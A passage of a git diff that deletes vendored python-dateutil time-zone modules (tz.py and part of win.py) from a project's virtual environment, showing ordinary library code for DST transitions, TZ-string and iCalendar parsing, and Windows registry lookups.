tti.isdst != lastdst): - # The base DST has changed - adjustment = lastbaseoffset - - lastdst = tti.isdst - lastoffset = offset - lastbaseoffset = baseoffset - - out.trans_list.append(out.trans_list_utc[i] + adjustment) - - out.trans_idx = tuple(out.trans_idx) - out.trans_list = tuple(out.trans_list) - out.trans_list_utc = tuple(out.trans_list_utc) - - return out - - def _find_last_transition(self, dt, in_utc=False): - # If there's no list, there are no transitions to find - if not self._trans_list: - return None - - timestamp = _datetime_to_timestamp(dt) - - # Find where the timestamp fits in the transition list - if the - # timestamp is a transition time, it's part of the "after" period. - trans_list = self._trans_list_utc if in_utc else self._trans_list - idx = bisect.bisect_right(trans_list, timestamp) - - # We want to know when the previous transition was, so subtract off 1 - return idx - 1 - - def _get_ttinfo(self, idx): - # For no list or after the last transition, default to _ttinfo_std - if idx is None or (idx + 1) >= len(self._trans_list): - return self._ttinfo_std - - # If there is a list and the time is before it, return _ttinfo_before - if idx < 0: - return self._ttinfo_before - - return self._trans_idx[idx] - - def _find_ttinfo(self, dt): - idx = self._resolve_ambiguous_time(dt) - - return self._get_ttinfo(idx) - - def fromutc(self, dt): - """ - The ``tzfile`` implementation of :py:func:`datetime.tzinfo.fromutc`. - - :param dt: - A :py:class:`datetime.datetime` object. - - :raises TypeError: - Raised if ``dt`` is not a :py:class:`datetime.datetime` object. - - :raises ValueError: - Raised if this is called with a ``dt`` which does not have this - ``tzinfo`` attached. - - :return: - Returns a :py:class:`datetime.datetime` object representing the - wall time in ``self``'s time zone. - """ - # These isinstance checks are in datetime.tzinfo, so we'll preserve - # them, even if we don't care about duck typing. - if not isinstance(dt, datetime.datetime): - raise TypeError("fromutc() requires a datetime argument") - - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - # First treat UTC as wall time and get the transition we're in. - idx = self._find_last_transition(dt, in_utc=True) - tti = self._get_ttinfo(idx) - - dt_out = dt + datetime.timedelta(seconds=tti.offset) - - fold = self.is_ambiguous(dt_out, idx=idx) - - return enfold(dt_out, fold=int(fold)) - - def is_ambiguous(self, dt, idx=None): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - if idx is None: - idx = self._find_last_transition(dt) - - # Calculate the difference in offsets from current to previous - timestamp = _datetime_to_timestamp(dt) - tti = self._get_ttinfo(idx) - - if idx is None or idx <= 0: - return False - - od = self._get_ttinfo(idx - 1).offset - tti.offset - tt = self._trans_list[idx] # Transition time - - return timestamp < tt + od - - def _resolve_ambiguous_time(self, dt): - idx = self._find_last_transition(dt) - - # If we have no transitions, return the index - _fold = self._fold(dt) - if idx is None or idx == 0: - return idx - - # If it's ambiguous and we're in a fold, shift to a different index. - idx_offset = int(not _fold and self.is_ambiguous(dt, idx)) - - return idx - idx_offset - - def utcoffset(self, dt): - if dt is None: - return None - - if not self._ttinfo_std: - return ZERO - - return self._find_ttinfo(dt).delta - - def dst(self, dt): - if dt is None: - return None - - if not self._ttinfo_dst: - return ZERO - - tti = self._find_ttinfo(dt) - - if not tti.isdst: - return ZERO - - # The documentation says that utcoffset()-dst() must - # be constant for every dt. - return tti.dstoffset - - @tzname_in_python2 - def tzname(self, dt): - if not self._ttinfo_std or dt is None: - return None - return self._find_ttinfo(dt).abbr - - def __eq__(self, other): - if not isinstance(other, tzfile): - return NotImplemented - return (self._trans_list == other._trans_list and - self._trans_idx == other._trans_idx and - self._ttinfo_list == other._ttinfo_list) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._filename)) - - def __reduce__(self): - return self.__reduce_ex__(None) - - def __reduce_ex__(self, protocol): - return (self.__class__, (None, self._filename), self.__dict__) - - -class tzrange(tzrangebase): - """ - The ``tzrange`` object is a time zone specified by a set of offsets and - abbreviations, equivalent to the way the ``TZ`` variable can be specified - in POSIX-like systems, but using Python delta objects to specify DST - start, end and offsets. - - :param stdabbr: - The abbreviation for standard time (e.g. ``'EST'``). - - :param stdoffset: - An integer or :class:`datetime.timedelta` object or equivalent - specifying the base offset from UTC. - - If unspecified, +00:00 is used. - - :param dstabbr: - The abbreviation for DST / "Summer" time (e.g. ``'EDT'``). - - If specified, with no other DST information, DST is assumed to occur - and the default behavior or ``dstoffset``, ``start`` and ``end`` is - used. If unspecified and no other DST information is specified, it - is assumed that this zone has no DST. - - If this is unspecified and other DST information is *is* specified, - DST occurs in the zone but the time zone abbreviation is left - unchanged. - - :param dstoffset: - A an integer or :class:`datetime.timedelta` object or equivalent - specifying the UTC offset during DST. If unspecified and any other DST - information is specified, it is assumed to be the STD offset +1 hour. - - :param start: - A :class:`relativedelta.relativedelta` object or equivalent specifying - the time and time of year that daylight savings time starts. To - specify, for example, that DST starts at 2AM on the 2nd Sunday in - March, pass: - - ``relativedelta(hours=2, month=3, day=1, weekday=SU(+2))`` - - If unspecified and any other DST information is specified, the default - value is 2 AM on the first Sunday in April. - - :param end: - A :class:`relativedelta.relativedelta` object or equivalent - representing the time and time of year that daylight savings time - ends, with the same specification method as in ``start``. One note is - that this should point to the first time in the *standard* zone, so if - a transition occurs at 2AM in the DST zone and the clocks are set back - 1 hour to 1AM, set the ``hours`` parameter to +1. - - - **Examples:** - - .. testsetup:: tzrange - - from dateutil.tz import tzrange, tzstr - - .. doctest:: tzrange - - >>> tzstr('EST5EDT') == tzrange("EST", -18000, "EDT") - True - - >>> from dateutil.relativedelta import * - >>> range1 = tzrange("EST", -18000, "EDT") - >>> range2 = tzrange("EST", -18000, "EDT", -14400, - ... relativedelta(hours=+2, month=4, day=1, - ... weekday=SU(+1)), - ... relativedelta(hours=+1, month=10, day=31, - ... weekday=SU(-1))) - >>> tzstr('EST5EDT') == range1 == range2 - True - - """ - def __init__(self, stdabbr, stdoffset=None, - dstabbr=None, dstoffset=None, - start=None, end=None): - - global relativedelta - from dateutil import relativedelta - - self._std_abbr = stdabbr - self._dst_abbr = dstabbr - - try: - stdoffset = stdoffset.total_seconds() - except (TypeError, AttributeError): - pass - - try: - dstoffset = dstoffset.total_seconds() - except (TypeError, AttributeError): - pass - - if stdoffset is not None: - self._std_offset = datetime.timedelta(seconds=stdoffset) - else: - self._std_offset = ZERO - - if dstoffset is not None: - self._dst_offset = datetime.timedelta(seconds=dstoffset) - elif dstabbr and stdoffset is not None: - self._dst_offset = self._std_offset + datetime.timedelta(hours=+1) - else: - self._dst_offset = ZERO - - if dstabbr and start is None: - self._start_delta = relativedelta.relativedelta( - hours=+2, month=4, day=1, weekday=relativedelta.SU(+1)) - else: - self._start_delta = start - - if dstabbr and end is None: - self._end_delta = relativedelta.relativedelta( - hours=+1, month=10, day=31, weekday=relativedelta.SU(-1)) - else: - self._end_delta = end - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = bool(self._start_delta) - - def transitions(self, year): - """ - For a given year, get the DST on and off transition times, expressed - always on the standard time side. For zones with no transitions, this - function returns ``None``. - - :param year: - The year whose transitions you would like to query. - - :return: - Returns a :class:`tuple` of :class:`datetime.datetime` objects, - ``(dston, dstoff)`` for zones with an annual DST transition, or - ``None`` for fixed offset zones. - """ - if not self.hasdst: - return None - - base_year = datetime.datetime(year, 1, 1) - - start = base_year + self._start_delta - end = base_year + self._end_delta - - return (start, end) - - def __eq__(self, other): - if not isinstance(other, tzrange): - return NotImplemented - - return (self._std_abbr == other._std_abbr and - self._dst_abbr == other._dst_abbr and - self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset and - self._start_delta == other._start_delta and - self._end_delta == other._end_delta) - - @property - def _dst_base_offset(self): - return self._dst_base_offset_ - - -@six.add_metaclass(_TzStrFactory) -class tzstr(tzrange): - """ - ``tzstr`` objects are time zone objects specified by a time-zone string as - it would be passed to a ``TZ`` variable on POSIX-style systems (see - the `GNU C Library: TZ Variable`_ for more details). - - There is one notable exception, which is that POSIX-style time zones use an - inverted offset format, so normally ``GMT+3`` would be parsed as an offset - 3 hours *behind* GMT. The ``tzstr`` time zone object will parse this as an - offset 3 hours *ahead* of GMT. If you would like to maintain the POSIX - behavior, pass a ``True`` value to ``posix_offset``. - - The :class:`tzrange` object provides the same functionality, but is - specified using :class:`relativedelta.relativedelta` objects. rather than - strings. - - :param s: - A time zone string in ``TZ`` variable format. This can be a - :class:`bytes` (2.x: :class:`str`), :class:`str` (2.x: - :class:`unicode`) or a stream emitting unicode characters - (e.g. :class:`StringIO`). - - :param posix_offset: - Optional. If set to ``True``, interpret strings such as ``GMT+3`` or - ``UTC+3`` as being 3 hours *behind* UTC rather than ahead, per the - POSIX standard. - - .. caution:: - - Prior to version 2.7.0, this function also supported time zones - in the format: - - * ``EST5EDT,4,0,6,7200,10,0,26,7200,3600`` - * ``EST5EDT,4,1,0,7200,10,-1,0,7200,3600`` - - This format is non-standard and has been deprecated; this function - will raise a :class:`DeprecatedTZFormatWarning` until - support is removed in a future version. - - .. _`GNU C Library: TZ Variable`: - https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html - """ - def __init__(self, s, posix_offset=False): - global parser - from dateutil.parser import _parser as parser - - self._s = s - - res = parser._parsetz(s) - if res is None or res.any_unused_tokens: - raise ValueError("unknown string format") - - # Here we break the compatibility with the TZ variable handling. - # GMT-3 actually *means* the timezone -3. - if res.stdabbr in ("GMT", "UTC") and not posix_offset: - res.stdoffset *= -1 - - # We must initialize it first, since _delta() needs - # _std_offset and _dst_offset set. Use False in start/end - # to avoid building it two times. - tzrange.__init__(self, res.stdabbr, res.stdoffset, - res.dstabbr, res.dstoffset, - start=False, end=False) - - if not res.dstabbr: - self._start_delta = None - self._end_delta = None - else: - self._start_delta = self._delta(res.start) - if self._start_delta: - self._end_delta = self._delta(res.end, isend=1) - - self.hasdst = bool(self._start_delta) - - def _delta(self, x, isend=0): - from dateutil import relativedelta - kwargs = {} - if x.month is not None: - kwargs["month"] = x.month - if x.weekday is not None: - kwargs["weekday"] = relativedelta.weekday(x.weekday, x.week) - if x.week > 0: - kwargs["day"] = 1 - else: - kwargs["day"] = 31 - elif x.day: - kwargs["day"] = x.day - elif x.yday is not None: - kwargs["yearday"] = x.yday - elif x.jyday is not None: - kwargs["nlyearday"] = x.jyday - if not kwargs: - # Default is to start on first sunday of april, and end - # on last sunday of october. - if not isend: - kwargs["month"] = 4 - kwargs["day"] = 1 - kwargs["weekday"] = relativedelta.SU(+1) - else: - kwargs["month"] = 10 - kwargs["day"] = 31 - kwargs["weekday"] = relativedelta.SU(-1) - if x.time is not None: - kwargs["seconds"] = x.time - else: - # Default is 2AM. - kwargs["seconds"] = 7200 - if isend: - # Convert to standard time, to follow the documented way - # of working with the extra hour. See the documentation - # of the tzinfo class. - delta = self._dst_offset - self._std_offset - kwargs["seconds"] -= delta.seconds + delta.days * 86400 - return relativedelta.relativedelta(**kwargs) - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._s)) - - -class _tzicalvtzcomp(object): - def __init__(self, tzoffsetfrom, tzoffsetto, isdst, - tzname=None, rrule=None): - self.tzoffsetfrom = datetime.timedelta(seconds=tzoffsetfrom) - self.tzoffsetto = datetime.timedelta(seconds=tzoffsetto) - self.tzoffsetdiff = self.tzoffsetto - self.tzoffsetfrom - self.isdst = isdst - self.tzname = tzname - self.rrule = rrule - - -class _tzicalvtz(_tzinfo): - def __init__(self, tzid, comps=[]): - super(_tzicalvtz, self).__init__() - - self._tzid = tzid - self._comps = comps - self._cachedate = [] - self._cachecomp = [] - self._cache_lock = _thread.allocate_lock() - - def _find_comp(self, dt): - if len(self._comps) == 1: - return self._comps[0] - - dt = dt.replace(tzinfo=None) - - try: - with self._cache_lock: - return self._cachecomp[self._cachedate.index( - (dt, self._fold(dt)))] - except ValueError: - pass - - lastcompdt = None - lastcomp = None - - for comp in self._comps: - compdt = self._find_compdt(comp, dt) - - if compdt and (not lastcompdt or lastcompdt < compdt): - lastcompdt = compdt - lastcomp = comp - - if not lastcomp: - # RFC says nothing about what to do when a given - # time is before the first onset date. We'll look for the - # first standard component, or the first component, if - # none is found. - for comp in self._comps: - if not comp.isdst: - lastcomp = comp - break - else: - lastcomp = comp[0] - - with self._cache_lock: - self._cachedate.insert(0, (dt, self._fold(dt))) - self._cachecomp.insert(0, lastcomp) - - if len(self._cachedate) > 10: - self._cachedate.pop() - self._cachecomp.pop() - - return lastcomp - - def _find_compdt(self, comp, dt): - if comp.tzoffsetdiff < ZERO and self._fold(dt): - dt -= comp.tzoffsetdiff - - compdt = comp.rrule.before(dt, inc=True) - - return compdt - - def utcoffset(self, dt): - if dt is None: - return None - - return self._find_comp(dt).tzoffsetto - - def dst(self, dt): - comp = self._find_comp(dt) - if comp.isdst: - return comp.tzoffsetdiff - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._find_comp(dt).tzname - - def __repr__(self): - return "" % repr(self._tzid) - - __reduce__ = object.__reduce__ - - -class tzical(object): - """ - This object is designed to parse an iCalendar-style ``VTIMEZONE`` structure - as set out in `RFC 5545`_ Section 4.6.5 into one or more `tzinfo` objects. - - :param `fileobj`: - A file or stream in iCalendar format, which should be UTF-8 encoded - with CRLF endings. - - .. _`RFC 5545`: https://tools.ietf.org/html/rfc5545 - """ - def __init__(self, fileobj): - global rrule - from dateutil import rrule - - if isinstance(fileobj, string_types): - self._s = fileobj - # ical should be encoded in UTF-8 with CRLF - fileobj = open(fileobj, 'r') - else: - self._s = getattr(fileobj, 'name', repr(fileobj)) - fileobj = _nullcontext(fileobj) - - self._vtz = {} - - with fileobj as fobj: - self._parse_rfc(fobj.read()) - - def keys(self): - """ - Retrieves the available time zones as a list. - """ - return list(self._vtz.keys()) - - def get(self, tzid=None): - """ - Retrieve a :py:class:`datetime.tzinfo` object by its ``tzid``. - - :param tzid: - If there is exactly one time zone available, omitting ``tzid`` - or passing :py:const:`None` value returns it. Otherwise a valid - key (which can be retrieved from :func:`keys`) is required. - - :raises ValueError: - Raised if ``tzid`` is not specified but there are either more - or fewer than 1 zone defined. - - :returns: - Returns either a :py:class:`datetime.tzinfo` object representing - the relevant time zone or :py:const:`None` if the ``tzid`` was - not found. - """ - if tzid is None: - if len(self._vtz) == 0: - raise ValueError("no timezones defined") - elif len(self._vtz) > 1: - raise ValueError("more than one timezone available") - tzid = next(iter(self._vtz)) - - return self._vtz.get(tzid) - - def _parse_offset(self, s): - s = s.strip() - if not s: - raise ValueError("empty offset") - if s[0] in ('+', '-'): - signal = (-1, +1)[s[0] == '+'] - s = s[1:] - else: - signal = +1 - if len(s) == 4: - return (int(s[:2]) * 3600 + int(s[2:]) * 60) * signal - elif len(s) == 6: - return (int(s[:2]) * 3600 + int(s[2:4]) * 60 + int(s[4:])) * signal - else: - raise ValueError("invalid offset: " + s) - - def _parse_rfc(self, s): - lines = s.splitlines() - if not lines: - raise ValueError("empty string") - - # Unfold - i = 0 - while i < len(lines): - line = lines[i].rstrip() - if not line: - del lines[i] - elif i > 0 and line[0] == " ": - lines[i-1] += line[1:] - del lines[i] - else: - i += 1 - - tzid = None - comps = [] - invtz = False - comptype = None - for line in lines: - if not line: - continue - name, value = line.split(':', 1) - parms = name.split(';') - if not parms: - raise ValueError("empty property name") - name = parms[0].upper() - parms = parms[1:] - if invtz: - if name == "BEGIN": - if value in ("STANDARD", "DAYLIGHT"): - # Process component - pass - else: - raise ValueError("unknown component: "+value) - comptype = value - founddtstart = False - tzoffsetfrom = None - tzoffsetto = None - rrulelines = [] - tzname = None - elif name == "END": - if value == "VTIMEZONE": - if comptype: - raise ValueError("component not closed: "+comptype) - if not tzid: - raise ValueError("mandatory TZID not found") - if not comps: - raise ValueError( - "at least one component is needed") - # Process vtimezone - self._vtz[tzid] = _tzicalvtz(tzid, comps) - invtz = False - elif value == comptype: - if not founddtstart: - raise ValueError("mandatory DTSTART not found") - if tzoffsetfrom is None: - raise ValueError( - "mandatory TZOFFSETFROM not found") - if tzoffsetto is None: - raise ValueError( - "mandatory TZOFFSETFROM not found") - # Process component - rr = None - if rrulelines: - rr = rrule.rrulestr("\n".join(rrulelines), - compatible=True, - ignoretz=True, - cache=True) - comp = _tzicalvtzcomp(tzoffsetfrom, tzoffsetto, - (comptype == "DAYLIGHT"), - tzname, rr) - comps.append(comp) - comptype = None - else: - raise ValueError("invalid component end: "+value) - elif comptype: - if name == "DTSTART": - # DTSTART in VTIMEZONE takes a subset of valid RRULE - # values under RFC 5545. - for parm in parms: - if parm != 'VALUE=DATE-TIME': - msg = ('Unsupported DTSTART param in ' + - 'VTIMEZONE: ' + parm) - raise ValueError(msg) - rrulelines.append(line) - founddtstart = True - elif name in ("RRULE", "RDATE", "EXRULE", "EXDATE"): - rrulelines.append(line) - elif name == "TZOFFSETFROM": - if parms: - raise ValueError( - "unsupported %s parm: %s " % (name, parms[0])) - tzoffsetfrom = self._parse_offset(value) - elif name == "TZOFFSETTO": - if parms: - raise ValueError( - "unsupported TZOFFSETTO parm: "+parms[0]) - tzoffsetto = self._parse_offset(value) - elif name == "TZNAME": - if parms: - raise ValueError( - "unsupported TZNAME parm: "+parms[0]) - tzname = value - elif name == "COMMENT": - pass - else: - raise ValueError("unsupported property: "+name) - else: - if name == "TZID": - if parms: - raise ValueError( - "unsupported TZID parm: "+parms[0]) - tzid = value - elif name in ("TZURL", "LAST-MODIFIED", "COMMENT"): - pass - else: - raise ValueError("unsupported property: "+name) - elif name == "BEGIN" and value == "VTIMEZONE": - tzid = None - comps = [] - invtz = True - - def __repr__(self): - return "%s(%s)" % (self.__class__.__name__, repr(self._s)) - - -if sys.platform != "win32": - TZFILES = ["/etc/localtime", "localtime"] - TZPATHS = ["/usr/share/zoneinfo", - "/usr/lib/zoneinfo", - "/usr/share/lib/zoneinfo", - "/etc/zoneinfo"] -else: - TZFILES = [] - TZPATHS = [] - - -def __get_gettz(): - tzlocal_classes = (tzlocal,) - if tzwinlocal is not None: - tzlocal_classes += (tzwinlocal,) - - class GettzFunc(object): - """ - Retrieve a time zone object from a string representation - - This function is intended to retrieve the :py:class:`tzinfo` subclass - that best represents the time zone that would be used if a POSIX - `TZ variable`_ were set to the same value. - - If no argument or an empty string is passed to ``gettz``, local time - is returned: - - .. code-block:: python3 - - >>> gettz() - tzfile('/etc/localtime') - - This function is also the preferred way to map IANA tz database keys - to :class:`tzfile` objects: - - .. code-block:: python3 - - >>> gettz('Pacific/Kiritimati') - tzfile('/usr/share/zoneinfo/Pacific/Kiritimati') - - On Windows, the standard is extended to include the Windows-specific - zone names provided by the operating system: - - .. code-block:: python3 - - >>> gettz('Egypt Standard Time') - tzwin('Egypt Standard Time') - - Passing a GNU ``TZ`` style string time zone specification returns a - :class:`tzstr` object: - - .. code-block:: python3 - - >>> gettz('AEST-10AEDT-11,M10.1.0/2,M4.1.0/3') - tzstr('AEST-10AEDT-11,M10.1.0/2,M4.1.0/3') - - :param name: - A time zone name (IANA, or, on Windows, Windows keys), location of - a ``tzfile(5)`` zoneinfo file or ``TZ`` variable style time zone - specifier. An empty string, no argument or ``None`` is interpreted - as local time. - - :return: - Returns an instance of one of ``dateutil``'s :py:class:`tzinfo` - subclasses. - - .. versionchanged:: 2.7.0 - - After version 2.7.0, any two calls to ``gettz`` using the same - input strings will return the same object: - - .. code-block:: python3 - - >>> tz.gettz('America/Chicago') is tz.gettz('America/Chicago') - True - - In addition to improving performance, this ensures that - `"same zone" semantics`_ are used for datetimes in the same zone. - - - .. _`TZ variable`: - https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html - - .. _`"same zone" semantics`: - https://blog.ganssle.io/articles/2018/02/aware-datetime-arithmetic.html - """ - def __init__(self): - - self.__instances = weakref.WeakValueDictionary() - self.__strong_cache_size = 8 - self.__strong_cache = OrderedDict() - self._cache_lock = _thread.allocate_lock() - - def __call__(self, name=None): - with self._cache_lock: - rv = self.__instances.get(name, None) - - if rv is None: - rv = self.nocache(name=name) - if not (name is None - or isinstance(rv, tzlocal_classes) - or rv is None): - # tzlocal is slightly more complicated than the other - # time zone providers because it depends on environment - # at construction time, so don't cache that. - # - # We also cannot store weak references to None, so we - # will also not store that. - self.__instances[name] = rv - else: - # No need for strong caching, return immediately - return rv - - self.__strong_cache[name] = self.__strong_cache.pop(name, rv) - - if len(self.__strong_cache) > self.__strong_cache_size: - self.__strong_cache.popitem(last=False) - - return rv - - def set_cache_size(self, size): - with self._cache_lock: - self.__strong_cache_size = size - while len(self.__strong_cache) > size: - self.__strong_cache.popitem(last=False) - - def cache_clear(self): - with self._cache_lock: - self.__instances = weakref.WeakValueDictionary() - self.__strong_cache.clear() - - @staticmethod - def nocache(name=None): - """A non-cached version of gettz""" - tz = None - if not name: - try: - name = os.environ["TZ"] - except KeyError: - pass - if name is None or name in ("", ":"): - for filepath in TZFILES: - if not os.path.isabs(filepath): - filename = filepath - for path in TZPATHS: - filepath = os.path.join(path, filename) - if os.path.isfile(filepath): - break - else: - continue - if os.path.isfile(filepath): - try: - tz = tzfile(filepath) - break - except (IOError, OSError, ValueError): - pass - else: - tz = tzlocal() - else: - try: - if name.startswith(":"): - name = name[1:] - except TypeError as e: - if isinstance(name, bytes): - new_msg = "gettz argument should be str, not bytes" - six.raise_from(TypeError(new_msg), e) - else: - raise - if os.path.isabs(name): - if os.path.isfile(name): - tz = tzfile(name) - else: - tz = None - else: - for path in TZPATHS: - filepath = os.path.join(path, name) - if not os.path.isfile(filepath): - filepath = filepath.replace(' ', '_') - if not os.path.isfile(filepath): - continue - try: - tz = tzfile(filepath) - break - except (IOError, OSError, ValueError): - pass - else: - tz = None - if tzwin is not None: - try: - tz = tzwin(name) - except (WindowsError, UnicodeEncodeError): - # UnicodeEncodeError is for Python 2.7 compat - tz = None - - if not tz: - from dateutil.zoneinfo import get_zonefile_instance - tz = get_zonefile_instance().get(name) - - if not tz: - for c in name: - # name is not a tzstr unless it has at least - # one offset. For short values of "name", an - # explicit for loop seems to be the fastest way - # To determine if a string contains a digit - if c in "0123456789": - try: - tz = tzstr(name) - except ValueError: - pass - break - else: - if name in ("GMT", "UTC"): - tz = UTC - elif name in time.tzname: - tz = tzlocal() - return tz - - return GettzFunc() - - -gettz = __get_gettz() -del __get_gettz - - -def datetime_exists(dt, tz=None): - """ - Given a datetime and a time zone, determine whether or not a given datetime - would fall in a gap. - - :param dt: - A :class:`datetime.datetime` (whose time zone will be ignored if ``tz`` - is provided.) - - :param tz: - A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If - ``None`` or not provided, the datetime's own time zone will be used. - - :return: - Returns a boolean value whether or not the "wall time" exists in - ``tz``. - - .. versionadded:: 2.7.0 - """ - if tz is None: - if dt.tzinfo is None: - raise ValueError('Datetime is naive and no time zone provided.') - tz = dt.tzinfo - - dt = dt.replace(tzinfo=None) - - # This is essentially a test of whether or not the datetime can survive - # a round trip to UTC. - dt_rt = dt.replace(tzinfo=tz).astimezone(UTC).astimezone(tz) - dt_rt = dt_rt.replace(tzinfo=None) - - return dt == dt_rt - - -def datetime_ambiguous(dt, tz=None): - """ - Given a datetime and a time zone, determine whether or not a given datetime - is ambiguous (i.e if there are two times differentiated only by their DST - status). - - :param dt: - A :class:`datetime.datetime` (whose time zone will be ignored if ``tz`` - is provided.) - - :param tz: - A :class:`datetime.tzinfo` with support for the ``fold`` attribute. If - ``None`` or not provided, the datetime's own time zone will be used. - - :return: - Returns a boolean value whether or not the "wall time" is ambiguous in - ``tz``. - - .. versionadded:: 2.6.0 - """ - if tz is None: - if dt.tzinfo is None: - raise ValueError('Datetime is naive and no time zone provided.') - - tz = dt.tzinfo - - # If a time zone defines its own "is_ambiguous" function, we'll use that. - is_ambiguous_fn = getattr(tz, 'is_ambiguous', None) - if is_ambiguous_fn is not None: - try: - return tz.is_ambiguous(dt) - except Exception: - pass - - # If it doesn't come out and tell us it's ambiguous, we'll just check if - # the fold attribute has any effect on this particular date and time. - dt = dt.replace(tzinfo=tz) - wall_0 = enfold(dt, fold=0) - wall_1 = enfold(dt, fold=1) - - same_offset = wall_0.utcoffset() == wall_1.utcoffset() - same_dst = wall_0.dst() == wall_1.dst() - - return not (same_offset and same_dst) - - -def resolve_imaginary(dt): - """ - Given a datetime that may be imaginary, return an existing datetime. - - This function assumes that an imaginary datetime represents what the - wall time would be in a zone had the offset transition not occurred, so - it will always fall forward by the transition's change in offset. - - .. doctest:: - - >>> from dateutil import tz - >>> from datetime import datetime - >>> NYC = tz.gettz('America/New_York') - >>> print(tz.resolve_imaginary(datetime(2017, 3, 12, 2, 30, tzinfo=NYC))) - 2017-03-12 03:30:00-04:00 - - >>> KIR = tz.gettz('Pacific/Kiritimati') - >>> print(tz.resolve_imaginary(datetime(1995, 1, 1, 12, 30, tzinfo=KIR))) - 1995-01-02 12:30:00+14:00 - - As a note, :func:`datetime.astimezone` is guaranteed to produce a valid, - existing datetime, so a round-trip to and from UTC is sufficient to get - an extant datetime, however, this generally "falls back" to an earlier time - rather than falling forward to the STD side (though no guarantees are made - about this behavior). - - :param dt: - A :class:`datetime.datetime` which may or may not exist. - - :return: - Returns an existing :class:`datetime.datetime`. If ``dt`` was not - imaginary, the datetime returned is guaranteed to be the same object - passed to the function. - - .. versionadded:: 2.7.0 - """ - if dt.tzinfo is not None and not datetime_exists(dt): - - curr_offset = (dt + datetime.timedelta(hours=24)).utcoffset() - old_offset = (dt - datetime.timedelta(hours=24)).utcoffset() - - dt += curr_offset - old_offset - - return dt - - -def _datetime_to_timestamp(dt): - """ - Convert a :class:`datetime.datetime` object to an epoch timestamp in - seconds since January 1, 1970, ignoring the time zone. - """ - return (dt.replace(tzinfo=None) - EPOCH).total_seconds() - - -if sys.version_info >= (3, 6): - def _get_supported_offset(second_offset): - return second_offset -else: - def _get_supported_offset(second_offset): - # For python pre-3.6, round to full-minutes if that's not the case. - # Python's datetime doesn't accept sub-minute timezones. Check - # http://python.org/sf/1447945 or https://bugs.python.org/issue5288 - # for some information. - old_offset = second_offset - calculated_offset = 60 * ((second_offset + 30) // 60) - return calculated_offset - - -try: - # Python 3.7 feature - from contextlib import nullcontext as _nullcontext -except ImportError: - class _nullcontext(object): - """ - Class for wrapping contexts so that they are passed through in a - with statement. - """ - def __init__(self, context): - self.context = context - - def __enter__(self): - return self.context - - def __exit__(*args, **kwargs): - pass - -# vim:ts=4:sw=4:et diff --git a/venv/Lib/site-packages/dateutil/tz/win.py b/venv/Lib/site-packages/dateutil/tz/win.py deleted file mode 100644 index cde07ba792c40903f0c334839140173b39fd8124..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/tz/win.py +++ /dev/null @@ -1,370 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module provides an interface to the native time zone data on Windows, -including :py:class:`datetime.tzinfo` implementations. - -Attempting to import this module on a non-Windows platform will raise an -:py:obj:`ImportError`. -""" -# This code was originally contributed by Jeffrey Harris. -import datetime -import struct - -from six.moves import winreg -from six import text_type - -try: - import ctypes - from ctypes import wintypes -except ValueError: - # ValueError is raised on non-Windows systems for some horrible reason. - raise ImportError("Running tzwin on non-Windows system") - -from ._common import tzrangebase - -__all__ = ["tzwin", "tzwinlocal", "tzres"] - -ONEWEEK = datetime.timedelta(7) - -TZKEYNAMENT = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" -TZKEYNAME9X = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones" -TZLOCALKEYNAME = r"SYSTEM\CurrentControlSet\Control\TimeZoneInformation" - - -def _settzkeyname(): - handle = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) - try: - winreg.OpenKey(handle, TZKEYNAMENT).Close() - TZKEYNAME = TZKEYNAMENT - except WindowsError: - TZKEYNAME = TZKEYNAME9X - handle.Close() - return TZKEYNAME - - -TZKEYNAME = _settzkeyname() - - -class tzres(object): - """ - Class for accessing ``tzres.dll``, which contains timezone name related - resources. - - .. versionadded:: 2.5.0 - """ - p_wchar = ctypes.POINTER(wintypes.WCHAR) # Pointer to a wide char - - def __init__(self, tzres_loc='tzres.dll'): - # Load the user32 DLL so we can load strings from tzres - user32 = ctypes.WinDLL('user32') - - # Specify the LoadStringW function - user32.LoadStringW.argtypes = (wintypes.HINSTANCE, - wintypes.UINT, - wintypes.LPWSTR, - ctypes.c_int) - - self.LoadStringW = user32.LoadStringW - self._tzres = ctypes.WinDLL(tzres_loc) - self.tzres_loc = tzres_loc - - def load_name(self, offset): - """ - Load a timezone name from a DLL offset (integer). - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.load_name(112)) - 'Eastern Standard Time' - - :param offset: - A positive integer value referring to a string from the tzres dll. - - .. note:: - - Offsets found in the registry are generally of the form - ``@tzres.dll,-114``. The offset in this case is 114, not -114. - - """ - resource = self.p_wchar() - lpBuffer = ctypes.cast(ctypes.byref(resource), wintypes.LPWSTR) - nchar = self.LoadStringW(self._tzres._handle, offset, lpBuffer, 0) - return resource[:nchar] - - def name_from_string(self, tzname_str): - """ - Parse strings as returned from the Windows registry into the time zone - name as defined in the registry. - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.name_from_string('@tzres.dll,-251')) - 'Dateline Daylight Time' - >>> print(tzr.name_from_string('Eastern Standard Time')) - 'Eastern Standard Time' - - :param tzname_str: - A timezone name string as returned from a Windows registry key. - - :return: - Returns the localized timezone string from tzres.dll if the string - is of the form `@tzres.dll,-offset`, else returns the input string. - """ - if not tzname_str.startswith('@'): - return tzname_str - - name_splt = tzname_str.split(',-') - try: - offset = int(name_splt[1]) - except: - raise ValueError("Malformed timezone string.") - - return self.load_name(offset) - - -class tzwinbase(tzrangebase): - """tzinfo class based on win32's timezones available in the registry.""" - def 